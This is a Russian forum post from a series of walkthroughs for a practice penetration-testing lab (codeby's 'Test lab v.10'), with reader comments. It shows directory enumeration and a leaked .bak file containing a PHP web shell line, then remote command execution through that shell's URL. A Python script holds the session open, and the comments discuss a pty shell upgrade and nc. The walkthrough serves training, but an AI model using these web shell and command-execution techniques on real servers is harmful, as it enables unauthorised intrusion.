• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)

<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 991
Глава 8
Предыдущая глава
Следующая глава
Оглавление



Доброго времени суток колеги. Очередная статья к вашему вниманию об пентесте эмулированной корпоративной сети.Сегодня мы с вами снова затроним Web Application Pentesting.
  • Вспомним про поиск директорий и файлов на сайте через утилиту
  • Найдем ошибки в конфигурации администратора веб приложения
  • Научимся выполнять удаленные команды на вебсервере через найденный встроенный веб шелл
Будем атаковать сегодня машину,которая на топологии сети обозначена как Captcha(192.168.0.7)
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


Ну что же, давайте приступим.
Сперва как обычно пробросим порт:

SSH> -L 80:192.168.0.7:80

Откроем браузер,посмотрим что там у нас:

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


Похоже на какой то сервис по проверке капчи,только вот саму капчу не видно,видимо картинка не прогрузилась.
Давайте попытаемся обратится по пути картинки (правой кнопкой мышки - копировать путь картинки,и вставим в адресной строке)

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


примерно такая ссылка у нас :

http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875513082117f7be857875bff89d4b03c2f52b2e29879ec58c90546a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/captcha.png
Как видим ошибку сервера... Хмм.. Странно.. Давайте поищим директории и файлы утилитой DirSearch:

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


Как видим нашло два текстовых файла:
/readme.txt
/robots.txt

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


Смотрим их и видим что в файле robots.txt скрыто от индексирования поисковыми роботами файлы с расширением *.bak. В readme.txt пишут что бы не забыли поудалять все кешированые капчи.

Хм... Видимо бекапы какие то где то лежат и удаляются время от времени... Поискал на сервере возможные бекапы:
index.bak
index.php.bak
config.bak
config.php.bak
и т.д.
Но увы это не дало никаких результатов...

Затем вспоминаем нашу непонятную картинку и пробуем вместо .png указать разрешение .bak

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


Видим нам предлагает сохранить файл.Ну что ж сохраним и посмотрим что в нем:

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


Ухты) Получаем подсказку в виде кусочка кода на PHP:
file_put_contents($session_path. /captcha, serialize($_SESSION)); - в случае обращения по $session_path/captcha - на вывод вернется сеарилизованый обьект масива $_SESSION

file_put_contents($session_path. /($_SESSION).php, ?php system($_GET[session]); ? -- а это уже вшитый веб шел
Давайте сначала глянем на сериализованый обьект $_SESSION:
a:1:{s:2:"id";s:198:"e3799776f4aa6ee753dd41b16c496f2166584b1c0749c7ae3d656284a4d68361c23f4cbd11d034ee483d583650556a8117fb7e68c73e6fce77bb16f0a9e16d5a710e1c8fb144ead4b8b1479faa0252ea00134fd441e0a0893138489db02eee1805141a";}
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


Вот наш масив $_SESSION с одним значением id:
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


Давайте попробуем заюзать вшитый веб шел:

http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875513082117f7be857875bff89d4b03c2f52b2e29879ec58c90546a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/($_SESSION).php?session=id
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


Но если мы попытаемся выполнить другую команду - то получим 500 ошибку от веб сервера,так как файлы удаляются спустя некоторое время а сессия умерает. Для того что бы придержать файлы на сервере я создам бесконечный цикл обращения по одной куки к главной странице,тогда файлы будут оставатся на месте.

Куки посмотреть можно прям в браузере,любым аддоном для кук браузера или же как я в инженерном меню браузера (в моем случае Firefox)

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


Далее мой любимий питон и простенький бесконечный цикл обращение с нашими куками:
[hidepl="3,1"]
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)

Python:
#!/usr/bin/env python
import requests

url="http://127.0.0.1"
headers={"Cookie":"PHPSESSID=sqs56fn6j5gl102l1e7g834280"}

while True:
    requests.get(url,headers=headers)
[/hidepl]
После чего можно спокойно поднимать bind shell:

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)

Забираем токен :)


Предыдущая глава
Следующая глава
Оглавление

Всем спасибо)
 
Последнее редактирование:
A

a113

Спасибо за статью!Очень интересная! а requests это же не стандартная библиотека в python, так?
 
  • Нравится
Реакции: <~DarkNode~>
A

a113

как ни прискорбно, но не стандартная :(

Traceback (most recent call last):
File "<pyshell#0>", line 1, in <module>
import requests
ModuleNotFoundError: No module named 'requests'

возможно в kali она автоматически скачивается для работы некоторых программ.
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 991
как ни прискорбно, но не стандартная :(

Traceback (most recent call last):
File "<pyshell#0>", line 1, in <module>
import requests
ModuleNotFoundError: No module named 'requests'
Какая версия питона?
В 3-й вроде нету точно а во 2-й должно быть:
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)
 
  • Нравится
Реакции: sdfsd и a113
G

gusevna

Спасибо за статью. Очень много полезной информации собрано.
 
  • Нравится
Реакции: <~DarkNode~>
S

sdfsd

Трудно сказать...
после команды python -c 'import pty;pty.spawn("/bin/bash")' - должно появится переменная среда баша.
как подсказали тут быстрее надо ввести команду,но после export PS1....... получаю >
я сейчас вобще пробросил порт, а 127.0.0.1 говорит 404o_O
 
D

Dmitry88

как подсказали тут быстрее надо ввести команду,но после export PS1....... получаю >
я сейчас вобще пробросил порт, а 127.0.0.1 говорит 404o_O
попробуй сразу нс на слушанье поставить, а потом уже исполнить команду. У меня со второго раза вышло. Не смотря на ошибку.
 
S

sdfsd

попробуй сразу нс на слушанье поставить, а потом уже исполнить команду. У меня со второго раза вышло. Не смотря на ошибку.
кучу вариантов перебрал.Сейчас только id удается выполнить и то с сотого раза. а дальше нивкакую.Поначалу только баш-а получить не мог,а тут вообще непонятка.
 
D

Dmitry88

кучу вариантов перебрал.Сейчас только id удается выполнить и то с сотого раза. а дальше нивкакую.Поначалу только баш-а получить не мог,а тут вообще непонятка.
А сессию свою вписал в скрипт ? Она же генерируется каждый раз новая. Соответственно и в кукисах меняется.
 
  • Нравится
Реакции: <~DarkNode~>
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 991
Там если не держать сессию скриптом - выполняется только один запрос (первый). Потом вроде как сессия рвется и путь к файлу пропадает.На выходе получаем 500 ошибку сервера.
 
  • Нравится
Реакции: Dmitry88 и sdfsd
S

sdfsd

Hi people!!! I am a goofшара!!!
в скрипте при копипасте затер PHPSESSID= кукой. token taken.
Это просто крутяк!!!!!
[doublepost=1484059846,1484059600][/doublepost]
Там если не держать сессию скриптом - выполняется только один запрос (первый). Потом вроде как сессия рвется и путь к файлу пропадает.На выходе получаем 500 ошибку сервера.
Там если не держать сессию скриптом - выполняется только один запрос (первый). Потом вроде как сессия рвется и путь к файлу пропадает.На выходе получаем 500 ошибку сервера.
получил путь к картинке запустил скрипт и bind shell сразу
 
  • Нравится
Реакции: <~DarkNode~>
S

Sinistra

Получил токен методом Мартинеза, через nc, но ручками конечно круче. На втором заходе обязательно попробую.
 
  • Нравится
Реакции: <~DarkNode~>
Мы в соцсетях: